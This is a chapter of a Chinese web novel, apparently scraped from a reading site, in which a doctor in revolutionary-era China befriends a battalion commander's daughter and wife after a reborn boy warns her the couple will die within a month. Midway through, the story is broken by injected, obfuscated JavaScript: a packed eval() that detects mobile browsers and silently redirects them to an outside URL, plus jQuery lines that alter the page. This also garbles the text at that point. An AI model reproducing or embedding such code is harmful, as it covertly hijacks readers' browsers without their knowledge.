“徐营长的女儿,我上辈子的姐姐徐青今天会来学校医务室,徐营长爱人也会被通知来学校,你可以和她多接触一下吗?”
“一个月后,徐营长和他爱人会死于一场意外,具体的我找时间再说,我请你先帮我和徐营长爱人打好关系,取得她的信任。”
平时拽的要死的小孩深深弯下了腰,余奚伸手扶住他往下弯的动作,“不用行这么大礼,既然是救人,能帮的我会帮的。”
“谢谢你,余姨,”江榆谷抿了抿唇,这一声余姨他喊得真情实意。
余奚愿意这么爽快地帮他,他自然不会心安理得地认为余奚就应该帮他这么多忙,他要投桃报李。
想到余奚现在最担心的人就是她的父母和哥哥,江榆谷就将自己上辈子了解到的信息同步给了余奚。
“对了,你的父母和哥哥,他们最后会平安回来的。”
“你的母亲很厉害,具体的我不太清楚。”
时间太过久远,当时他一门心思都在调查害死林爸爸的凶手,在排除掉余家人的嫌疑后,就没怎么深入关注了,不过,江榆谷想到自己听到的那些传言,说话的声音一顿。
“据说,是有大人物做保,所以你不用太担心了。”
余奚扶着江榆谷的手紧了些,原主的父母和哥哥自从上次寄了一些东西和信后一直没收到回信,她心里的确有些担心。
原主的父母一个大学教授,一个高级医生,她哥哥又是个不食人间烟火痴迷于画画的文艺青年,都不是能干农活重活的人,三人成虎人言可畏,有些东西是真的可以压垮一个人,磨灭所有的精神气的。
那些被下放的、被批斗的、被贴上标签的人,不是每个人都能熬到平反的那一天。她虽然没见过,却也听说过,有人在牛棚里疯了,有人在批斗台上断了气,还有人在无数个绝望的深夜里,用一根绳子结束了一切。
而江榆谷说他们会平安回来,这让余奚心里的焦虑稍缓了些。
她承了这一家子的情,很想为他们多做些什么,却又因为自己的能力和这个时代的限制而感到深深的无力。
即使余奚已经和根正苗红的林樾结了婚,但也无法明着照顾原主的亲人,甚至表面上要与他们划清界限,表明自己纯洁的革命立场。
她知道未来,也知道原主家是被小人举报,但在这个敏感又动荡的年代,出身便是原罪,虽然只要他们能熬下来的最后不出意外都可以得到平反,但这中间又有多少人能熬过来呢?
“好,我知道了。”
和江榆谷分开后,余奚回到了医务室。
推开门的时候,余奚的脑子里还乱糟糟的。
江榆谷的话就像一颗石子投进平静的湖面,激起的涟漪久久散不去。
余奚站在医务室门口,深吸一口气,努力让自己冷静下来。
不管怎么样,她要先把眼前的事做好。
上午十点多,果然来了一个女孩。
穿着蓝色工装服的年轻女孩走进医务室,十四五岁的样子,整齐地梳着两条麻花辫,就是脸色有些苍白,一进门余奚就看见她右手捂着左手,指缝中能看到明显的红色渗血。
“那个,医生,我的手被划破了。”女孩的声音轻轻的,带着点不好意思。
余奚的心跳快了一拍。
她想起江榆谷说的话,“徐营长的女儿,我上辈子的姐姐徐青今天会来学校医务室”。
就是她吗?
“来,到这里坐,我给你看看。”余奚指了指病床,语气温柔。
女孩坐下,乖乖地放下捂着伤口的右手,伸出手,暴露的左手手掌上有一道两寸长的口子,还好不算太深。
“是怎么伤的?”余奚一边准备清洗工具一边问。
“搬东西的时候,被玻璃划的。”女孩有些不好意思。
“嗯。”余奚点了点头,开始给她用生理盐水清洗伤口。
药水沾上去的时候,女孩疼得吸了口气,但没叫出声,只是咬着嘴唇忍着。
余奚看了她一眼。
这姑娘,还挺能忍。
“你叫什么名字?”她问道,手上的动作没停。
“徐青。”女孩回答,“双木青。”
余奚上药的手微微顿了一下。
果然是。
“徐青,”她抬头笑着说,“我叫余奚,是这儿新来的医生。”
徐青看着她,眼里带着点好奇:“余医生,你看起来好年轻,比我大不了几岁吧?”
余奚弯起嘴角:“比你大。”
消炎药上完后,她用了干净的纱布为徐青包扎好。
“好了。”她说,“这两天左手别沾水,记得明天来换药。”
徐青看着包扎得整整齐齐的手,眼里带着喜悦和崇拜:“余医生,你包得可真好!上次给我包扎的医生,乱七八糟的,还老是掉。”
看着徐青亮晶晶的眼睛,余奚想到江榆谷说的,不经意说道。
“徐青,你母亲对你很好吧?”
徐青圆溜溜的眼睛立刻弯了起来,“对啊,我妈对我很好。”
很快小脸一垮,“不过这次回家肯定又要挨骂了,哎。”
“没事儿。”余奚安慰道,“你这么乖,好好说她肯定舍不得。”
徐青重重点了点脑袋,走到门口,又回头看她:
“余医生,你人真好,我明天来换药,还能找你吗?”
余奚笑着点头:“当然可以。”
徐青笑了,那笑容灿烂又耀眼,带着这个年纪特有的单纯和朝气。
她推门出去了。
余奚站在医务室里,望着那扇关上的门,心有些沉甸甸的。
谁能想到一个月后,徐青的父母会死于一场意外。
而这个刚才笑得那么灿烂的女孩,会在一夜之间失去疼爱她的双亲。
还好这一切都还没发生。
江榆谷既然说了是“意外”,还让她和徐青的母亲打好关系取得她的信任,就说明这场意外是可以人为避免的。
徐青刚走没多久,医务室的门再次被推开了。
这次进来的是一个四十来岁的女人,穿着洗得发白的圆点蓝布衣裳,手上拎着竹编篮。
“同志,请问徐青是不是来过这儿?”女人进来就问,脸上充满了焦急。
余奚看着她,心里顿时有了答案。
这位是应该就是徐青的母亲了。
“来过。”她站起来假装疑惑道,“您是?”
“我是她妈。”女人松了口气,“这丫头,手划破了也不跟我说一声。医生,她伤得重不重啊?”
“不重,都已经处理好了。”余奚说,“那您是……徐青的母亲?”
女人点点头:“对,对,我姓周,叫我周姐就行。”
余奚看着她,心里涌起一股复杂的情绪。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249860|194415||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>这就是一个月后会死于意外的那个女人。
此刻她站在自己面前,额头上都是汗,脸上也都是对女儿的担忧。
“周姐,”余奚开口,“来,坐下来歇会儿,我给你倒杯水慢慢说。”
周姐愣了一下,脸上还有些不好意思:“不用不用,我就是来看看小青,这就走……”
“坐一会儿吧。”余奚坚持,“从别的地方赶过来,肯定累了。”
周姐看着她真诚的眼神,犹豫了一下,还是坐下了。
余奚倒了杯水递给她,在她对面坐下。
“周姐,徐青的伤口不大,平时回去注意别碰水,吃得清淡些,定时过来换药复查就没什么大问题了?”
周姐喝了口水,叹了口气,“今天听说小青受伤,吓我一跳,赶紧跑过来了,这孩子,从小就毛手毛脚的……”
她絮絮叨叨地说着,余奚一直安静地听着。
听她说徐青小时候的事,说她丈夫在部队的事,说她们一家人的点点滴滴。
那些琐碎的日常,在旁人眼里可能很平常,但余奚听来,却是格外珍贵。
尤其是她知道,这样一个朴实鲜活的人一个月后就会逝去。
“周姐,”等她说得差不多了,余奚才开口,“以后要是有什么不舒服,都可以过来找我。我经常听我家老林夸徐营长,我今天一见到就很喜欢周姐你,以后咱们可以多走动走动啊。”
周姐看着她,眼里带着感激和欣喜:“好,好,谢谢你余医生。”
余奚:“太客气了周姐。”
周姐走之前握着余奚的手说,“余医生,以后有空来我们家里坐,我们家就在营区后面,第三排第二个,很好找的。”
余奚点点头:“好,改天我一定去。”
周姐笑了笑,推门出去了。
中午,余奚回到家。
林樾正靠在床头,手里拿着她的一本画册翻看着。
见她进来,他抬起头,目光落在她脸上。
“怎么了?”林樾问,“今天是有什么事吗?”
怎么这么闷闷不乐的。
余奚愣了一下,随即反应过来,她表现得有这么明显吗?
她走过去,在他床边坐下。
“林樾。”她叫他。
“嗯?”
“如果你知道有人会在一个月后出事,而且你也有机会去救她,你会怎么做?”
林樾看着她,沉默了几秒。
“谁?”
余奚摇摇头:“我不能说。”
林樾又沉默了一会儿,然后说:
“能做的,就做。不能做的,不要勉强。”
余奚突然笑了,“好,我明白了。”
林樾说话的时候很认真,本来以为他一定会说要竭尽全力去救人呢?
林樾被余奚突然的笑弄得有些不好意思,不过余奚怎么突然想起了问这个,她是遇到什么事了吗?
“我能帮上忙吗?”
林樾没有刨根问底地追问,反而问出这样的话。
余奚看着他,心里忽然涌起一股暖意。
他什么都不知道,却给了她最需要的答案。
“林樾。”她轻声叫他。
“嗯?”
“谢谢你。”
林樾虽然不明白,却还是说。
“谢什么。”他说,“不管你想做什么,我都支持你。”